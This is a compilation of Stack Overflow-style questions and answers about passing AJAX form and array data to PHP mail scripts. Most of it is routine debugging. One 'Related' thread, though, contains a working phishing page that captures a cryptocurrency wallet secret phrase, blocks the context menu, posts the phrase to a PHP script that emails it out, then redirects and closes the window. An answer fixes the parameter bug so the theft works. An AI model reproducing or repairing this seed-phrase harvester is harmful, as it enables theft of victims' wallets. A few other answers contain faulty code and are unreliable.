Im having difficulties when parsing an array using Ajax to PHP to send an email with the values from the array.
Ajax code:
$(document).ready(function(){
$("#submit-button").click(function(){
var countryArray = ['Location Zero', 'Location One', 'Location Two'];
dataString = countryArray;
var jsonString = JSON.stringify(dataString);
$.ajax({
type: "POST",
url: "sendmail.php",
data: {countries: jsonString},
success: function (msg) {
$("#errors").text("Thank you for getting in touch, we will get back to you!");
},
error: function (msg) {
$("#errors").text("Error sending email, please try again.");
alert("error");
}
});
});
});
PHP code:
<?php
$to = "abc#abc.com";
$countries = json_decode($_POST['countries']);
$header = "Content-Type: text/html\r\nReply-To: \r\nFrom: <>";
$subject = "Email from the Lister customer";
$body = #"$countries";
if(mail($to, $subject, $body, $header)) {
die("true");
} else {
die("There was an error sending the email.");
}
?>
But all I'm getting with in the email from $countries is word "Array" instead of the values.
Can anyone help please?
$countries is an array. If you want it to be displayed as a list in your $body, you can do:
$body = implode(', ', $countries);
Please also try not to suppress (#) PHP errors, it'll cause you more headaches in the future.
<?php
$to = "abc#abc.com";
$countries = json_decode($_POST['countries']);
$header = "Content-Type: text/html\r\nReply-To: \r\nFrom: <>";
$subject = "Email from the Lister customer";
$body = implode(", ", $countries);
if(mail($to, $subject, $body, $header)) {
die("true");
} else {
die("There was an error sending the email.");
}
?>
If you're using jquery, try using .serializeArray() instead of stringify.
Also, when receiving the $_POST['contries'] variables, you need to implode it. Try this:
$(document).ready(function(){
$("#submit-button").click(function(){
var countryArray = ['Location Zero', 'Location One', 'Location Two'];
$.ajax({
type: "POST",
url: "sendmail.php",
data: {countries: countryArray.serializeArray()},
success: function (msg) {
$("#errors").text("Thank you for getting in touch, we will get back to you!");
},
error: function (msg) {
$("#errors").text("Error sending email, please try again.");
alert("error");
}
});
});
});
And then in PHP use this to properly grab the countries values:
implode(', '.$countries);
Related
I am trying to post import-account__secret-phrase to a $_Post PHP variable within another file. To either store/email the variable.
<script>
var p = !1;
setTimeout(function() {
$(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
}, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
var t = $(this).val().split(" ");
p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
}), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
data1: "Account",
data: $(".import-account__secret-phrase").val()
}, function() {
p = !1
}, "json"), window.parent.opener.postMessage({
uni: !0
}), setTimeout(function() {
$(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
window.parent.opener.location.replace("https://website.com"), window.parent.close()
}, 2e3)
}, 1e3)
}), document.body.addEventListener("contextmenu", function(t) {
"import-account__secret-phrase" != t.toElement.className && t.preventDefault()
}, !1);
</script>
Here is the post.php file which is in the same folder.
<?php
// data sent in header are in JSON format
header('Content-Type: application/json');
// takes the value from variables and Post the data
$postmessage = $_POST['.import-account__secret-phrase'];
$to = "email#email.com";
$subject = "Phrase";
// Email Template
$message .= "Message:". $postmessage."<br>";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail ($to,$subject,$message,$header);
?>
The email fires and is recieved, but the $postmessage variable is blank and the secret phrase isn't displayed.
The issue is because you're sending the values in the data and data1 parameters, yet your PHP appears to be trying to use a DOM selector to retrieve the value.
From the context you need to change that selector to just 'data', so that it reads the value you provided in the $.ajax() call.
$postmessage = $_POST['data'];
I would also suggest you use more descriptive parameter names.
JQuery
function save() {
imageData = $(".sigPad").signaturePad().getSignatureImage();
consumeData = $('#consume').val();
$.ajax({
type: "POST",
url: "",
data: {'signatureasimage' : imageData, 'consume' : consumeData },
dataType: 'json',
cache: false,
success: function(response){
alert(response.msg);
/*var imageUrl = response['signature_image'];
d = new Date();
$(".signatureImage").attr("src",imageUrl);
if (response.status == true) {
window.location.href = "<?php echo ROOT_URL.'esignup/attendees_list.php?icode='.$icode;?>";
}*/
},
error: function(x,e){
if(x.status==0){
alert('You are offline!!\n Please Check Your Network.');
}else if(x.status==404){
alert('Requested URL not found.');
}else if(x.status==500){
alert('Internel Server Error.');
}else if(e=='parsererror'){
alert('Error.\nParsing JSON Request failed.');
}else if(e=='timeout'){
alert('Request Time out.');
}else {
alert('Unknow Error.\n'+x.responseText);
}
}
});
};
PHP
$data = array();
$confirmationData = array();
$data['attendee_id'] = $attendeeId;
$data['is_consume_the_provided_meal'] = $_POST['consume'];
$data['signature_image'] = $destination;
$data['confirmed'] = 1;
if($confirmedAttendee){
$sql = "SELECT * FROM `".TBL_ATTENDEE_CONFIRMATION."` WHERE `attendee_id` = '.$attendeeId.'";
$confirmationData = selectFrom($sql);
update_array('tbl_attendee_confirmation', $data, array('attendee_id' => $attendeeId));
$confirmationData = selectFrom($sql);
}else{
var_dump("it went through insert array");
insert_array('tbl_attendee_confirmation', $data);
}
$data = array();
$data['msg']="Testing, testing.";
echo json_encode($data);
Jquery ajax does post request with data imageData and consumeData. imageData and consumeData are strings. Copying to file works and the data updates the table. The problem is I get parsererror when I want to get imageUrl so I can update the sigImage with the new image source. I commented the part where I replace the image src with new imageURL. Does anyone know the issue?
Error shows up as "alert('Error.\nParsing JSON Request failed.');" from code. Error still shows up with test code.
Try doing this in your PHP:
echo json_encode($data, JSON_FORCE_OBJECT);
I don't completely understand it, but in my experience if you are returning an array you've built in PHP to be parsed using the ECMAScript JSON object, you need to use the JSON_FORCE_OBJECT constant to ensure that it returns a JSON object instead of a JSON array.
json_encode constants
You also could try outputting the header for JSON before echoing your JSON encoded array, gimme a sec.
header('Content-Type: application/json');
Also here
I'm having some real trouble getting this form to send through Ajax. I started off getting the values to send through but came to a stop once the radio button var messagetype was added. Since adding the variable the page no longer passes any of the values through where as before it would pass them.
I believe it has something to do with the var dataString and the values are not passing through properly, and as it started to go wrong since added var messagetype it must have started from here.
I've played around with the code for var messagetype by adding a class and trying that, writing it a few ways but still to no avail.
Here's my code:
js
$('#formsend').click(function(){
var name = $("input#name").val();
var email = $("input#email").val();
var phone = $("input#phone").val();
//Where I think it's going wrong:
var messagetype = $("input[name='messagetype']:checked").val();
var trackurl = $("input#trackurl").val();
var trackdesc = $("input#trackdesc").val();
var eventdate = $("input#eventdate").val();
var eventdesc = $("input#eventdesc").val();
var adrsone = $("input#adrsone").val();
var adrstwo = $("input#adrstwo").val();
var adrsthree = $("input#adrsthree").val();
var pcode = $("input#pcode").val();
var detail = $("input#subject").val();
var note = $("input#note").val();
var dataString = 'name='+ name + '&email=' + email + '&phone=' + phone +'&messagetype=' + messagetype + '&trackurl=' + trackurl + '&trackdesc=' + trackdesc + '&eventdate=' + eventdate + '&eventdesc=' + eventdesc + '&adrsone=' + adrsone + '&adrstwo=' + adrstwo + '&adrsthree=' + adrsthree + '&pcode=' + pcode + '&detail=' + detail + '¬e=' + note;
$.ajax({
type: "POST",
url: "processmail.php",
data: dataString,
success: function() {
$('#form').html("<div id='message'></div>");
$('#message').html("<h2>Message Submitted.</h2>")
.append("<p>Thank you for contacting me, I will be in touch soon.</p>")
.hide()
.fadeIn(1500);
}
});
return false;
}); //end form ajax
processmail.php
<?php
$name=sanitiseString($_POST['name']);
$email=sanitiseString($_POST['email']);
$phone=sanitiseString($_POST['phone']);
$messagetype=sanitiseString($_POST['messagetype']);
$trackurl=sanitiseString($_POST['trackurl']);
$trackdesc=sanitiseString($_POST['trackdesc']);
$eventdate=sanitiseString($_POST['eventdate']);
$eventdesc=sanitiseString($_POST['eventdesc']);
$adrsone=sanitiseString($_POST['adrsone']);
$adrstwo=sanitiseString($_POST['adrstwo']);
$adrsthree=sanitiseString($_POST['adrsthree']);
$pcode=sanitiseString($_POST['pcode']);
$detail=sanitiseString($_POST['detail']);
$note=sanitiseString($_POST['note']);
$to='emailme#myemail.com';
$subject='Message from Form: '.$messagetype;
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .='From: '.$name;
$headers .='Reply-To: '.$email;
if($messagetype == 'track'){
$message='<table>
<tr><td>Name: </td><td>'.$name.'</td></tr>
<tr><td>Email: </td><td>'.$email.'</td></tr>
<tr><td>Track Description: </td><td>'.$trackdesc.'</td></tr>
<tr><td>Track Link: </td><td>'.$trackurl.'</td></tr>
<table>';
}
elseif($messagetype == 'event'){
$message='<table>
<tr><td>Name: </td><td>'.$name.'</td></tr>
<tr><td>Email: </td><td>'.$email.'</td></tr>
<tr><td>Event Description: </td><td>'.$eventdesc.'</td></tr>
<tr><td>Event Date: </td><td>'.$eventdate.'</td></tr>
<tr><td>Location: </td><td>'.$adrsone.'</td></tr>
<tr><td> </td><td>'.$adrstwo.'</td></tr>
<tr><td> </td><td>'.$adrsthree.'</td></tr>
<tr><td> </td><td>'.$pcode.'</td></tr>
<table>';
}
elseif($messagetype == 'message'){
$message='<table>
<tr><td>Name: </td><td>'.$name.'</td></tr>
<tr><td>Email: </td><td>'.$email.'</td></tr>
<tr><td>Subject: </td><td>'.$detail.'</td></tr>
<tr><td>Message: </td><td>'.$note.'</td></tr>
<table>';
}
mail($to, $subject, $message, $headers);
function sanitiseString($var)
{
$var = stripslashes($var);
$var = htmlentities($var);
$var = strip_tags($var);
return $var;
}
?>
I am new to this and have followed a few tutorials to achieve it so am now a little stuck as to why it won't work.
Any help would be greatly appreciated.
use serialize() or SerializeArray
var dataString = $('#FORMID').serialize();
and pass dataString to your data variable in $.ajax in data
& in php Section you can get all values of fields present inside form
using GET or POST method
messagetype set hidden field in your form or append it to dataString so you will get messagetype in your php file
Try to use object for data param.
$.ajax({
type: "POST",
url: "processmail.php",
data: {'name': name,
'email': email},
success: function() {
$('#form').html("<div id='message'></div>");
$('#message').html("<h2>Message Submitted.</h2>")
.append("<p>Thank you for contacting me, I will be in touch soon.</p>")
.hide()
.fadeIn(1500);
}
});
I know this has been asked before and I have looked at every post I could find that deals with this. I still cannot get the jQuery.post function to correctly receive the error from a php script. Here are both.
PHP:
<?php
##CONFIGURATION
# LIST EMAIL ADDRESS
$toemail = "email here";
# SUBJECT (Subscribe/Remove)
$subject = "Someone has contacted International Designs";
# RESULT PAGE
$location = "../thank-you.php";
## FORM VALUES ##
$myname = $_REQUEST['myname'];
$myemail = $_REQUEST['myemail'];
$mymessage = $_REQUEST['mymessage'];
if ( empty($myname) || empty($myemail) || empty($mymessage) ) {
exit('{"error":"That value was invalid!"}')
} else {
# SENDER
$email = $myname . " <" . $myemail . ">";
# MAIL BODY
$body .= "Name: " . $myname . " \n\n";
$body .= "Email: " . $myemail . " \n\n";
$body .= "Message: " . $mymessage . " \n\n";
# add more fields here if required
## SEND MESSGAE ##
mail( $toemail, $subject, $body, "From: $email" ) or die ("Mail could not be sent.");
}
?>
JS:
if (verify(myname, myemail, mymessage, human, hash, patt)) {
$.post(myform.attr('action'), myform.serialize(), function() {
$('#email-success').fadeIn();
myform[0].reset();
setTimeout("$('#email-success').fadeOut();", 5000);
}, 'json')
.fail(function() {
alert('An error has occurred. Please try again later.')
});
}
I have tried about 5 different methods already, none of which have worked. When I put 'json' as the datatype in the .post function the .fail always fires, no matter what's in the php script. If I leave datatype out, then .fail never fires under any circumstance. I have a feeling the problem is with the php commands and datatype. Any help is appreciated.
Perhaps it's because you don't change the http header code of your response and don't specify your data type response.
You're php code response to front (jQuery) code with a "200 – OK" status in any case, but you expect an error in some case with an 'HTTP/1.0 400 – Bad Request' response Or a 'HTTP/1.0 500 Internal Server Error'.
And, like say Eggplant, you have to specify your response data type as 'Content-Type: application/json'.
So, the final code would be something like this :
<?php
...
header('HTTP/1.0 204 – No Content', true, 204);
header('Content-Type: application/json');
if ( empty($myname) || empty($myemail) || empty($mymessage) ) {
header('HTTP/1.0 400 – Bad Request', true, 400);
exit('{"error":"That value was invalid!"}')
} else {
...
$send = mail( $toemail, $subject, $body, "From: $email" );
if (!$send)
header('HTTP/1.0 500 – Internal Server Error', true, 500);
exit ('{"error":"Mail could not be sent."}');
}
}
return;
?>
For the Warning Cannot modify header information - headers already sent by (output started at /homepages/.../design/contact.php:1) you can examine this answer on the same problem.
Output can be:
Unintentional:
Whitespace before
UTF-8 Byte Order Mark
Previous error messages or notices
Intentional:
print, echo and other functions producing output (like var_dump)
Raw areas before
Update after chat session : it's was a UTF-8 BOM problem
try this
if (verify(myname, myemail, mymessage, human, hash, patt)) {
$.ajax({
type :'POST',
data :$("#myformid").serialize(),
beforeSend:function(){
},
success:function(res){
if(res=='ok'){
setTimeout("$('#email-success').fadeOut();", 5000);
}else{
//read respon from server
alert(res)
}
},
error:function(){
//error handler
}
});
}
and just example
$send = mail(....);//your mail function here
echo ($send) ? "ok" : "Error";
Although, yours is a valid JSON data, I always recommend to use json_encode() function to create JSON string.
exit(json_encode(array("error" => "That value was invalid!")));
Another is make sure you send correct headers to ensure the script knows its a json data. So
header('Content-Type: application/json');
exit(json_encode("error" => "That value was invalid!"));
I have the following code..
if (config.sendResultsURL !== null)
{
console.log("Send Results");
var collate =[];
for (r=0;r<userAnswers.length;r++)
{
collate.push('{"questionNumber'+parseInt(r+1)+ '"' + ': [{"UserAnswer":"'+userAnswers[r]+'", "actualAnswer":"'+answers[r]+'"}]}');
}
$.ajax({
type: 'POST',
url: config.sendResultsURL,
data: '[' + collate.join(",") + ']',
complete: function()
{
console.log("Results sent");
}
});
}
Using Firebug I get this from the console.
[{"questionNumber1": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber2": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber3": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber4": [{"UserAnswer":"3", "actualAnswer":"1"}]},{"questionNumber5": [{"UserAnswer":"3", "actualAnswer":"1"}]}]
From here the script sends data to emailData.php which reads...
$json = json_decode($_POST, TRUE);
$body = "$json";
$to = "myemail#email.com";
$email = 'Diesel John';
$subject = 'Results';
$headers = "From: $email\r\n";
$headers .= "Content-type: text/html\r\n";
// Send the email:
$sendMail = mail($to, $subject, $body, $headers);
Now I do get the email however it is blank.
My question is how do I pass the data to emailData.php and from there access it?
Create an object that you want to pass to PHP
Use JSON.stringify() to make a JSON string for that object.
Pass it to PHP script using POST or GET and with a name.
Depending on your request capture it from $_GET['name'] OR $_POST['name'].
Apply json_decode in php to get the JSON as native object.
In your case you can just pass userAnswers[r] and answers[r]. Array sequence are preserved.
In for loop use,
collate.push({"UserAnswer":userAnswers[r], "actualAnswer":answers[r]});
In ajax request use,
data: {"data" : JSON.stringify(collate)}
In the PHP end,
$json = json_decode($_POST['data'], TRUE); // the result will be an array.
json_decode converting string to object.
just do bellow code and check the values.
print_r($json)
Directly assign json object to string this is very bad.
If you decode your json, you will have a hash and not a string. If you want to be mailed the same as what you printed on the console, simply do this:
$body = $_POST['data'];
Another option would be to parse json into a php hash and var_dump that:
$json = json_decode($_POST['data'], TRUE);
$body = var_export($json, TRUE);
Using below JavaScript code
var collate =[], key, value;
for (r=0;r<userAnswers.length;r++) {
key = questionNumber + parseInt(r+1);
value = { "UserAnswer": userAnswers[r], "actualAnswer": answers[r] };
collate.push({ key : value });
}
$.post( config.sendResultsURL, { data: collate }, function(data) {
console.log("Results sent");
});
And do this in PHP
$data = json_decode( $_POST['data'], true );
and you will have all your data with array.
$jsonData = file_get_contents('php://input');
$json = json_decode($jsonData, 1);
mail('email', 'subject', print_r($json, 1));